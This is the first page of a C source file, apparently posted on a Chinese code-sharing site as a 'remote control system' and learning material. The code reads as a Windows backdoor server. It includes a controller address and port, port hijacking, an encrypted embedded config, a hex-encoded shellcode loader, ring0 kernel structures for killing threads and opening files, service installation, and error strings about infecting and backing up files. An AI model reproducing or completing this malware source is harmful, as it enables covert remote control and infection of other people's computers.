📄 ntshell.c

📁 远程控制系统,可以实现局域网内进行远程控制计算机,很方便,并且是学习用的非常好的资料.
💻 C
📖 第 1 页 / 共 5 页
字号:
12 3 4 5 下一页
#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#include <tlhelp32.h>
#include <Ntsecapi.h>
#include <Aclapi.h>
#include "ntshell.h"

#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment(linker, "/entry:EntryPoint")
#pragma comment(lib, "mpr.lib")
#pragma comment(lib, "ws2_32.lib")

#define NTSIGNATURE(a) ((LPVOID)((BYTE *)a + ((PIMAGE_DOS_HEADER)a)->e_lfanew))
#define PEFHDROFFSET(a) ((LPVOID)((BYTE *)NTSIGNATURE(a) + 4))
#define OPTHDROFFSET(a) ((LPVOID)((BYTE *)NTSIGNATURE(a) + 4 + sizeof(IMAGE_FILE_HEADER)))

typedef struct _OUTPUT_BUFFER
{
	PVOID Buffer;
	ULONG Length;
	ULONG Pointer;
	ULONG MaxLength;
} OUTPUT_BUFFER, *POUTPUT_BUFFER;

typedef struct _SCREEN_HANDLE
{
	int nWidth;
	int nHeight;
	int nDepth;
	HDC hScrDC;
	HDC hMemDC;
	HBITMAP hMemBitmap;
	PVOID pScreenBuffer;
	PVOID pTempBuffer;
	PVOID pOutputBuffer;
	DWORD nSize1;
	DWORD nSize2;
} SCREEN_HANDLE, *PSCREEN_HANDLE;

typedef struct _CONSOLE_THREADPARAM1
{
	SOCKET s;
	CONSOLE_EXECUTE ce;
} CONSOLE_THREADPARAM1, *PCONSOLE_THREADPARAM1;

typedef struct _CONSOLE_THREADPARAM2
{
	SOCKET s;
	CONSOLE_MESSAGESEND ms;
} CONSOLE_THREADPARAM2, *PCONSOLE_THREADPARAM2;

typedef struct _RING0_KILLTHREAD
{
	ULONG ThreadCount;
	ULONG ThreadArray[];
} RING0_KILLTHREAD, *PRING0_KILLTHREAD;

typedef struct _RING0_OPENFILE
{
	HANDLE FileHandle;
	ACCESS_MASK DesiredAccess;
	WCHAR FileName[MAX_PATH];
} RING0_OPENFILE, *PRING0_OPENFILE;

ULONG Lz77Compress(void *dst, void *src, ULONG len, int level);
ULONG Lz77Decompress(void *dst, void *src, ULONG len);
ULONG crc32(ULONG crc, void *buf, ULONG len);
void rc5_encrypt(void *dst, void *src, ULONG len);
void rc5_decrypt(void *dst, void *src, ULONG len);
ULONG Base64Encode(void *dst, void *src, ULONG len);
ULONG Base64Decode(void *dst, void *src,ULONG len);
void *MemorySearchLR(void *m1, ULONG n1, void *m2, ULONG n2);
void *MemorySearchRL(void *m1, ULONG n1, void *m2, ULONG n2);
void replace(char *str, const char *s1, const char *s2);
int compare(const char *str1, const char *str2);

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define InitializeObjectAttributes( p, n, a, r, s ) { (p)->Length = sizeof( OBJECT_ATTRIBUTES ); (p)->RootDirectory = r;(p)->Attributes = a; (p)->ObjectName = n;(p)->SecurityDescriptor = s; (p)->SecurityQualityOfService = NULL;}
#define OBJ_KERNEL_HANDLE 0x00000200
#define STATUS_SUCCESS 0x00000000L
#define STATUS_UNSUCCESSFUL 0xC0000001L

typedef long NTSTATUS;
typedef char CCHAR;
typedef short CSHORT;
typedef ULONG CLONG;
typedef struct _KTHREAD *PKTHREAD;
typedef struct _ETHREAD *PETHREAD;
typedef struct _OBJECT_TYPE *POBJECT_TYPE;
typedef struct _FILE_OBJECT *PFILE_OBJECT;
typedef CCHAR KPROCESSOR_MODE;
typedef PVOID PRKTHREAD;
typedef struct ACCESS_STATE *PACCESS_STATE;

typedef
BOOLEAN
(*PENUMFILE_CALLBACK)(
	IN LPTSTR FilePath,
	IN PWIN32_FIND_DATA Wfd,
	IN PVOID CallbackArgument
	);

typedef
NTSTATUS
(*PRING0_ROUTINE)(
	IN PVOID Ring0Argument
	);

typedef
VOID
(*PKNORMAL_ROUTINE)(
	IN PVOID NormalContext,
	IN PVOID SystemArgument1,
	IN PVOID SystemArgument2
	);

typedef
VOID
(*PKKERNEL_ROUTINE)(
	IN struct _KAPC *Apc,
	IN OUT PKNORMAL_ROUTINE *NormalRoutine,
	IN OUT PVOID *NormalContext,
	IN OUT PVOID *SystemArgument1,
	IN OUT PVOID *SystemArgument2
	);

typedef
VOID
(*PKRUNDOWN_ROUTINE)(
	IN struct _KAPC *Apc
	);

typedef struct _SYSTEM_MODULE_INFORMATION {
	ULONG Reserved[2];
	PVOID Base;
	ULONG Size;
	ULONG Flags;
	USHORT Index;
	USHORT Unknown;
	USHORT LoadCount;
	USHORT ModuleNameOffset;
	CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef struct _CLIENT_ID {
	HANDLE UniqueProcess;
	HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

typedef struct _VM_COUNTERS {
	SIZE_T PeakVirtualSize;
	SIZE_T VirtualSize;
	ULONG PageFaultCount;
	SIZE_T PeakWorkingSetSize;
	SIZE_T WorkingSetSize;
	SIZE_T QuotaPeakPagedPoolUsage;
	SIZE_T QuotaPagedPoolUsage;
	SIZE_T QuotaPeakNonPagedPoolUsage;
	SIZE_T QuotaNonPagedPoolUsage;
	SIZE_T PagefileUsage;
	SIZE_T PeakPagefileUsage;
} VM_COUNTERS, *PVM_COUNTERS;

typedef struct _IO_COUNTERS {
	ULONGLONG ReadOperationCount;
	ULONGLONG WriteOperationCount;
	ULONGLONG OtherOperationCount;
	ULONGLONG ReadTransferCount;
	ULONGLONG WriteTransferCount;
	ULONGLONG OtherTransferCount;
} IO_COUNTERS, *PIO_COUNTERS;
typedef LONG KPRIORITY;

typedef struct _SYSTEM_THREAD_INFORMATION {
	LARGE_INTEGER KernelTime;
	LARGE_INTEGER UserTime;
	LARGE_INTEGER CreateTime;
	ULONG WaitTime;
	PVOID StartAddress;
	CLIENT_ID ClientId;
	KPRIORITY Priority;
	KPRIORITY BasePriority;
	ULONG ContextSwitchCount;
	LONG State;
	LONG WaitReason;
	ULONG Reserved;
} SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION;

typedef struct _SYSTEM_PROCESS_INFORMATION {
	ULONG NextEntryDelta;
	ULONG ThreadCount;
	ULONG Reserved1[6];
	LARGE_INTEGER CreateTime;
	LARGE_INTEGER UserTime;
	LARGE_INTEGER KernelTime;
	UNICODE_STRING ProcessName;
	KPRIORITY BasePriority;
	ULONG ProcessId;
	ULONG InheritedFromProcessId;
	ULONG HandleCount;
	ULONG Reserved2[2];
	VM_COUNTERS VmCounters;
	ULONG TotalPrivateBytes;
	IO_COUNTERS IoCounters;
	SYSTEM_THREAD_INFORMATION Threads[5];
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;

typedef struct _OBJECT_ATTRIBUTES {
	ULONG Length;
	HANDLE RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG Attributes;
	PVOID SecurityDescriptor;
	PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef struct _KAPC {
	CSHORT Type;
	CSHORT Size;
	ULONG Spare0;
	struct _KTHREAD *Thread;
	LIST_ENTRY ApcListEntry;
	PKKERNEL_ROUTINE KernelRoutine;
	PKRUNDOWN_ROUTINE RundownRoutine;
	PKNORMAL_ROUTINE NormalRoutine;
	PVOID NormalContext;
	PVOID SystemArgument1;
	PVOID SystemArgument2;
	CCHAR ApcStateIndex;
	CCHAR ApcMode;
	BOOLEAN Inserted;
} KAPC, *PKAPC, *RESTRICTED_POINTER PRKAPC;

typedef enum _KAPC_ENVIRONMENT {
	OriginalApcEnvironment,
	AttachedApcEnvironment,
	CurrentApcEnvironment
} KAPC_ENVIRONMENT;

typedef struct _IO_STATUS_BLOCK {
	union {
		NTSTATUS Status;
		PVOID Pointer;
	};
	ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _ServiceDescriptorEntry
{
	unsigned int *ServiceTableBase;
	unsigned int *ServiceCounterTableBase; //Used only in checked build
	unsigned int NumberOfServices;
	unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;

typedef struct _OBJECT_HANDLE_INFORMATION {
    ULONG HandleAttributes;
    ACCESS_MASK GrantedAccess;
} OBJECT_HANDLE_INFORMATION, *POBJECT_HANDLE_INFORMATION;

NTSYSAPI
VOID
NTAPI
RtlInitUnicodeString(
	PUNICODE_STRING DestinationString,
	PCWSTR SourceString
	);

NTSYSAPI
NTSTATUS
NTAPI
ZwOpenSection(
	OUT PHANDLE SectionHandle,
	IN ACCESS_MASK DesiredAccess,
	IN POBJECT_ATTRIBUTES ObjectAttributes
	);

NTSYSAPI
NTSTATUS
NTAPI
ZwClose(
	IN HANDLE Handle
	);

NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
	IN ULONG SystemInformationClass,
	OUT PVOID SystemInformation,
	IN ULONG SystemInformationLength,
	OUT PULONG ReturnLength
	);

NTSYSAPI
NTSTATUS
NTAPI
ZwTerminateThread(
	IN HANDLE ThreadHandle,
	IN NTSTATUS ExitStatus
	);

NTSYSAPI
NTSTATUS
NTAPI
ZwCreateFile(
	OUT PHANDLE FileHandle,
	IN ACCESS_MASK DesiredAccess,
	IN POBJECT_ATTRIBUTES ObjectAttributes,
	OUT PIO_STATUS_BLOCK IoStatusBlock,
	IN PLARGE_INTEGER AllocationSize OPTIONAL,
	IN ULONG FileAttributes,
	IN ULONG ShareAccess,
	IN ULONG CreateDisposition,
	IN ULONG CreateOptions,
	IN PVOID EaBuffer OPTIONAL,
	IN ULONG EaLength
	);

NTSYSAPI
NTSTATUS
NTAPI
NtVdmControl(
	IN ULONG ControlCode,
	IN PVOID ControlData
	);

TCHAR MasterAddr[MAX_ADDRESS_LENGTH];
TCHAR MasterAddr2[MAX_ADDRESS_LENGTH];
USHORT MasterPort;
USHORT ListenPort;
ULONG ConnSpace = 20000;
UCHAR WaitMode = 0;
BOOLEAN PortHijack = FALSE;
BOOLEAN NeedPwd = FALSE;
TCHAR Password[MAX_PASSWORD_LENGTH];
ULONG ConfigFlags = FLAG_RECORD_ERROR | FLAG_ALLOW_RING0 | FLAG_RING0_OPEN_FILE;
UCHAR RunMethod = 0;

HANDLE hShellModule;
SERVICE_STATUS ssStatus;
SERVICE_STATUS_HANDLE sshStatusHandle;
SERVICE_STATUS servicestatus;
SERVICE_STATUS_HANDLE servicestatushandle;

//默认服务端配置
#ifdef _DEBUG
UCHAR config[CONFIG_SECTION_SIZE] = {
	0x12, 0x34, 0x56, 0x78, 0xA7, 0xAC, 0xA6, 0xA7, 0xA2, 0xA5, 0x27, 0xC7, 0xA5, 0xAD, 0x96, 0x95, 
	0x90, 0x89, 0x97, 0x89, 0x97, 0x89, 0x96, 0xA7, 0xA4, 0xAA, 0x96, 0x9E, 0x95, 0x89, 0x96, 0x91, 
	0x9F, 0x89, 0x97, 0x89, 0x95, 0x94, 0xA7, 0xA3, 0xA5, 0x39, 0xBC, 0xAD, 0xA3, 0x2F, 0xB4, 0xA7, 
	0xA7, 0xA1, 0xA6, 0xA5, 0xAB, 0xA6, 0xA7, 0xAE, 0xA5, 0xE5, 0xA5, 0xA6, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7
};
#else
UCHAR config[CONFIG_SECTION_SIZE] = {
	0x12, 0x34, 0x56, 0x78, 0xA7, 0xA5, 0xA8, 0xCA, 0xC9, 0xCD, 0xC4, 0xC4, 0x89, 0xD1, 0xCE, 0xC4, 
	0xD7, 0x89, 0xC9, 0xC2, 0xD3, 0xA7, 0xA4, 0xAA, 0x96, 0x9E, 0x95, 0x89, 0x96, 0x91, 0x9F, 0x89, 
	0x97, 0x89, 0x95, 0x94, 0xA7, 0xA3, 0xA5, 0x39, 0xBC, 0xAD, 0xA3, 0x87, 0xE9, 0xA7, 0xA7, 0xA1, 
	0xA6, 0xA6, 0xA0, 0xA6, 0xA6, 0xAF, 0xA3, 0x96, 0x95, 0x94, 0xA7, 0xAB, 0xA6, 0xA5, 0xAE, 0xA5, 
	0xA4, 0xA7, 0xA6, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 
	0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7, 0xA7
};
#endif
UCHAR ntshldr[] = {
	0x68, 0x78, 0x56, 0x34, 0x12, 0xE8, 0xBE, 0x00, 0x00, 0x00, 0x8B, 0xC4, 0x96, 0xAD, 0x83, 0xF8, 
	0xFF, 0x75, 0xF9, 0x8B, 0x16, 0x4A, 0x66, 0x33, 0xD2, 0x66, 0x81, 0x3A, 0x4D, 0x5A, 0x75, 0xF5, 
	0x8B, 0x4A, 0x3C, 0x81, 0x3C, 0x0A, 0x50, 0x45, 0x00, 0x00, 0x75, 0xE9, 0xE8, 0x00, 0x00, 0x00, 
	0x00, 0x58, 0x2D, 0xD8, 0xFE, 0xFF, 0xFF, 0xC8, 0x80, 0x00, 0x00, 0x89, 0x45, 0x98, 0x8D, 0x30, 
	0x8B, 0xFC, 0xE8, 0xA1, 0x00, 0x00, 0x00, 0xBF, 0x04, 0x01, 0x00, 0x00, 0x2B, 0xE7, 0x54, 0x57, 
	0xFF, 0x55, 0x8C, 0x8B, 0xC4, 0x2B, 0xE7, 0x54, 0x6A, 0x00, 0xE8, 0x03, 0x00, 0x00, 0x00, 0x53, 
	0x48, 0x00, 0x50, 0xFF, 0x55, 0x88, 0x8B, 0xC4, 0x53, 0x53, 0x6A, 0x02, 0x53, 0x6A, 0x00, 0x68, 
	0x00, 0x00, 0x00, 0x40, 0x50, 0xFF, 0x55, 0x84, 0x89, 0x45, 0x9C, 0x40, 0x74, 0x47, 0x83, 0xEE, 
	0xF3, 0xAD, 0x93, 0x81, 0xEC, 0x00, 0x10, 0x00, 0x00, 0x8B, 0xFC, 0xB9, 0x00, 0x10, 0x00, 0x00, 
	0x3B, 0xD9, 0x73, 0x02, 0x8B, 0xCB, 0x51, 0x57, 0xAC, 0x34, 0x3C, 0xAA, 0xE2, 0xFA, 0x5F, 0x59, 
	0x2B, 0xD9, 0x54, 0x8B, 0xC4, 0x6A, 0x00, 0x50, 0x51, 0x57, 0xFF, 0x75, 0x9C, 0xFF, 0x55, 0x94, 
	0x58, 0x85, 0xDB, 0x75, 0xD6, 0x81, 0xC4, 0x00, 0x10, 0x00, 0x00, 0xFF, 0x75, 0x9C, 0xFF, 0x55, 
	0x80, 0x54, 0xFF, 0x55, 0x90, 0xC9, 0xEB, 0x0B, 0x60, 0x33, 0xDB, 0xE8, 0x0E, 0x00, 0x00, 0x00, 
	0x58, 0x58, 0x5C, 0x33, 0xDB, 0x64, 0x8F, 0x03, 0x58, 0x61, 0x83, 0xC4, 0x04, 0xC3, 0x64, 0xFF, 
	0x33, 0x64, 0x89, 0x23, 0xFF, 0x64, 0x24, 0x28, 0x60, 0x8B, 0x4A, 0x3C, 0x03, 0xCA, 0x8B, 0x59, 
	0x78, 0x03, 0xDA, 0x83, 0xCD, 0xFF, 0x8B, 0x4B, 0x20, 0x03, 0xCA, 0x45, 0x8B, 0xC2, 0x03, 0x04, 
	0xA9, 0xE8, 0x28, 0x00, 0x00, 0x00, 0x66, 0x39, 0x06, 0x75, 0xF0, 0x8B, 0x43, 0x24, 0x03, 0xC2, 
	0x0F, 0xB7, 0x04, 0x68, 0x8B, 0x4B, 0x1C, 0x03, 0xCA, 0x8B, 0x04, 0x81, 0x03, 0xC2, 0xAB, 0x46, 
	0x46, 0x80, 0x3E, 0x00, 0x75, 0xD0, 0x61, 0xC3, 0x51, 0x52, 0x57, 0x97, 0xEB, 0x11, 0x51, 0x52, 
	0x57, 0x97, 0x33, 0xC0, 0x83, 0xC9, 0xFF, 0xF2, 0xAE, 0xF7, 0xD1, 0x48, 0x2B, 0xF9, 0x49, 0x32, 
	0x07, 0x47, 0xB2, 0x08, 0xD1, 0xE8, 0x73, 0x05, 0x35, 0x20, 0x83, 0xB8, 0xED, 0xFE, 0xCA, 0x75, 
	0xF3, 0xE2, 0xEC, 0x5F, 0x5A, 0x59, 0xF7, 0xD0, 0xC3, 0xF4, 0x15, 0x78, 0x5C, 0x08, 0x23, 0x41, 
	0x16, 0x8D, 0xBD, 0x12, 0x56, 0x00
};
#ifdef _DEBUG
char *FormatString[] = {
/*00*/"",
"发送数据错误，目标 %s",
"与 %s 的发生错误",
"与 %s 的连接中断",
"数据包过长，来自 %s",
"不能连接到 %s:%d",
"主控端身份验证失败",
"与 %s:%d 成功建立连接",
"开始为 %s 转发数据，转发地址：%s，转发端口：%d",
"中止为 %s 的转发数据",
/*10*/"",
"收到未知命令，来自 %s，操作码 %d",
"bind() 失败，端口：%d，错误码：%d",
"接受连接，来自：%s 端口：%d",
"程序已经运行",
"载入WINSOCK失败",
"打开文件 %s 失败，错误码 %d",
"感染文件 %s 失败",
"备份文件 %s 失败，错误码 %d",
"创建文件 %s 失败，错误码 %d",
/*20*/"",
"创建服务失败，错误码 %d",
"移除服务失败，错误码 %d",
"无效数据包，来自 %s",
"主控端 %s 密码验证失败",
"启动服务失败，错误码 %d",
};
#else
char *FormatString[] = {
/*00*/"",
"%s",
"%s",
"%s",
"%s",
"%s %d",
"",
"%s %d",
"%s %s %d",
"%s",
/*10*/"",
"%s %d",
"%d %d",
"%s %d",
"",
"",
"%s %d",
"%s",
"%s %d",
"%s %d",
/*20*/"",
"%d",
"%d",
"%s",
"%s",
"%d",
};
#endif

ULONG
(_cdecl *pfnDbgPrint)(
	IN PCHAR Format,
	...
	);

NTSTATUS
(NTAPI *pfnNtTerminateThread)(
	IN HANDLE ThreadHandle,
	IN NTSTATUS ExitStatus
	);

NTSTATUS
(NTAPI *pfnObReferenceObjectByPointer)(
	IN PVOID Object,
	IN ACCESS_MASK DesiredAccess,
	IN POBJECT_TYPE ObjectType,
	IN KPROCESSOR_MODE AccessMode
	);

NTSTATUS
(NTAPI *pfnObReferenceObjectByHandle)(
	IN HANDLE Handle,
	IN ACCESS_MASK DesiredAccess,
	IN POBJECT_TYPE ObjectType OPTIONAL,
	IN KPROCESSOR_MODE AccessMode,
	OUT PVOID *Object,
	OUT POBJECT_HANDLE_INFORMATION HandleInformation OPTIONAL
	);                                                          

NTSTATUS
(NTAPI *pfnObOpenObjectByPointer)(
	IN PVOID Object,
	IN ULONG HandleAttributes,
	IN PACCESS_STATE PassedAccessState OPTIONAL,
	IN ACCESS_MASK DesiredAccess,
	IN POBJECT_TYPE ObjectType,
	IN KPROCESSOR_MODE AccessMode,
	OUT PHANDLE Handle
	);

VOID
(_fastcall *pfnObfDereferenceObject)(
	IN PVOID Object
	);

PVOID
(NTAPI *pfnExAllocatePoolWithTag)(
	IN LONG PoolType,
12 3 4 5 下一页
💿 文件大小 388 K
👤 上传用户 ydyzd_2008
📂 所属分类其他
🏷️ 相关标签

#远程控制系统 #局域网 #远程控制 #计算机
⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -